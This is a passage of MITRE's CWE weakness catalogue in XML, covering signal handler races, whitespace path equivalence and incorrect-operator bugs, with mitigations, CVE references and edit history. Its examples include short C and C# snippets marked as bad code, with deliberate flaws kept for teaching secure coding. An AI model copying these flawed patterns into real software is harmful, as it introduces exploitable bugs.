						exploitable state. Implementations of malloc() and free() manage metadata in
						global structures in order to track which memory is allocated versus which
						memory is available, but they are non-reentrant. Simultaneous calls to these
						functions can cause corruption of the metadata.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>828</Relationship_Target_ID>
					          <!--Signal Handler with Functionality that is not Asynchronous-Safe-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>663</Relationship_Target_ID>
					          <!--Use of a Non-reentrant Function in a Concurrent Context-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>429</Relationship_Target_ID>
					          <!--Handler Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>123</Relationship_Target_ID>
					          <!--Write-what-where Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>745</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 11 - Signals (SIG)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>847</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 02 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>879</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 11 - Signals (SIG)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>It may be possible to execute arbitrary code through the use of a
							write-what-where condition.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Signal race conditions often result in data corruption.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Require languages or libraries that provide reentrant functionality,
							or otherwise make it easier to avoid this weakness.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Design signal handlers to only set flags rather than perform complex
							functionality.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that non-reentrant functions are not found in signal
							handlers.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text> Use sanity checks to reduce the timing window for exploitation of
							race conditions. This is only a partial solution, since many attacks
							might fail, but other attacks still might work within the narrower
							window, even accidentally.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, a signal handler uses syslog() to log a
						message:</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>C</Code_Example_Language>
						            <Code>char *message;</Code>
						            <Code>void sh(int dummy) { </Code>
						            <Block>
							              <Code>syslog(LOG_NOTICE,"%s\n",message); </Code>
							              <Code>sleep(10); </Code>
							              <Code>exit(0);</Code>
						            </Block>
						            <Code>}</Code>
						            <Code>int main(int argc,char* argv[]) { </Code>
						            <Block>
							              <Code>...</Code>
							              <Code>signal(SIGHUP,sh); </Code>
							              <Code>signal(SIGTERM,sh); </Code>
							              <Code>sleep(10); </Code>
							              <Code>exit(0);</Code>
						            </Block>
						            <Code>}</Code>
						            <Text> If the execution of the first call to the signal handler is suspended
							after invoking syslog(), and the signal handler is called a second time,
							the memory allocated by syslog() enters an undefined, and possibly,
							exploitable state. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0893</Observed_Example_Reference>
					          <Observed_Example_Description>signal handler calls function that ultimately uses
						malloc()</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2259</Observed_Example_Reference>
					          <Observed_Example_Description>handler for SIGCHLD uses non-reentrant
						functions</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 13, "Signal Vulnerabilities", Page
						791.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Unsafe function call from a signal handler</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Call only asynchronous-safe functions within signal
						handlers</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG30-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not call longjmp() from inside a signal
						handler</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG32-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not recursively invoke the raise()
						function</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG33-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not call signal() from within interruptible signal
						handlers</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG34-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Never dereference null pointers</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Call only asynchronous-safe functions within signal
						handlers</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG30-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not recursively invoke the raise()
						function</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG33-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not call signal() from within interruptible signal
						handlers</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG34-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description, Name,
						Observed_Examples, Other_Notes, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Unsafe Function Call from a
						Signal Handler</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="48" Name="Path Equivalence: 'file name' (Internal Whitespace)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					internal space ('file(SPACE)name') without appropriate validation can lead to
					ambiguous path resolution and allow an attacker to traverse the file system to
					unintended locations or access arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>This is not necessarily an equivalence issue, but it can also be used to
						spoof icons or conduct information hiding via information truncation (see
						user interface errors).</Text>
					          <Text>This weakness is likely to overlap quoting problems, e.g. the "Program
						Files" untrusted search path variants. It also could be an equivalence issue
						if filtering removes all extraneous spaces.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0293</Observed_Example_Reference>
					          <Observed_Example_Description>Filenames with spaces allow arbitrary file
						deletion when the product does not properly quote them; some overlap with
						path traversal.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1567</Observed_Example_Reference>
					          <Observed_Example_Description>"+" characters in query string converted to spaces
						before sensitive file/extension (internal space), leading to bypass of
						access restrictions to the file.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>file(SPACE)name (internal space)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Denial of Service</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Internal Space -
						file(SPACE)name</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="480" Name="Use of Incorrect Operator" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The programmer accidentally uses the wrong operator, which
					changes the application logic in security-relevant ways.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>670</Relationship_Target_ID>
					          <!--Always-Incorrect Control Flow Implementation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>569</Relationship_Target_ID>
					          <!--Expression Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>871</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 03 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Sometimes" Language_Name="C"/>
					          <Language Prevalence="Sometimes" Language_Name="C++"/>
					          <Language Prevalence="Sometimes" Language_Name="Perl"/>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>These types of bugs generally are the result of a typo. Although most of
						them can easily be found when testing of the program, it is important that
						one correct these problems, since they almost certainly will break the
						code.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness can cause unintended logic to be executed and other
							unexpected application behavior.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-102">
					          <Intro_Text>The following C/C++ and C# examples attempt to validate an int input
						parameter against the integer value 100.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>int isValid(int value) {</Code>
							              <Block>
								                <Code>if (value=100) {</Code>
								                <Block>
									                  <Code>printf("Value is valid\n");</Code>
									                  <Code>return(1);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>printf("Value is not valid\n");</Code>
								                <Code>return(0);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>bool isValid(int value) {</Code>
							              <Block>
								                <Code>if (value=100) {</Code>
								                <Block>
									                  <Code>Console.WriteLine("Value is valid.");</Code>
									                  <Code>return true;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>Console.WriteLine("Value is not valid.");</Code>
								                <Code>return false;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the expression to be evaluated in the if statement uses the
							assignment operator "=" rather than the comparison operator "==". The
							result of using the assignment operator instead of the comparison
							operator causes the int variable to be reassigned locally and the
							expression in the if statement will always evaluate to the value on the
							right hand side of the expression. This will result in the input value
							not being properly validated, which can cause unexpected results.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-103">
					          <Intro_Text>The following C/C++ example shows a simple implementation of a stack
						that includes methods for adding and removing integer values from the stack.
						The example uses pointers to add and remove integer values to the stack
						array variable.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>#define SIZE 50</Code>
							              <Code>int *tos, *p1, stack[SIZE];</Code>
							              <Code/>
							              <Code>void push(int i) {</Code>
							              <Block>
								                <Code>p1++;</Code>
								                <Code>if(p1==(tos+SIZE)) {</Code>
								                <Block>
									                  <Comment>// Print stack overflow error message and
										exit</Comment>
								                </Block>
								                <Code>}</Code>
								                <Code>*p1 == i;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int pop(void) {</Code>
							              <Block>
								                <Code>if(p1==tos) {</Code>
								                <Block>
									                  <Comment>// Print stack underflow error message and
										exit</Comment>
								                </Block>
								                <Code>}</Code>
								                <Code>p1--;</Code>
								                <Code>return *(p1+1);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int main(int argc, char *argv[]) {</Code>
							              <Block>
								                <Comment>// initialize tos and p1 to point to the top of
									stack</Comment>
								                <Code>tos = stack;</Code>
								                <Code>p1 = stack;</Code>
								                <Comment>// code to add and remove items from stack</Comment>
								                <Code>...</Code>
								                <Code>return 0;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The push method includes an expression to assign the integer value to
							the location in the stack pointed to by the pointer variable. </Text>
						            <Text>However, this expression uses the comparison operator "==" rather than
							the assignment operator "=". The result of using the comparison operator
							instead of the assignment operator causes erroneous values to be entered
							into the stack and can cause unexpected results.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Typos", Page 289.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Using the wrong operator</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Avoid errors of omission</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC02-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Avoid errors of addition</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC03-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not perform assignments in conditional
						ressions</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP19-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Avoid errors of omission</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Avoid errors of addition</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC03-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
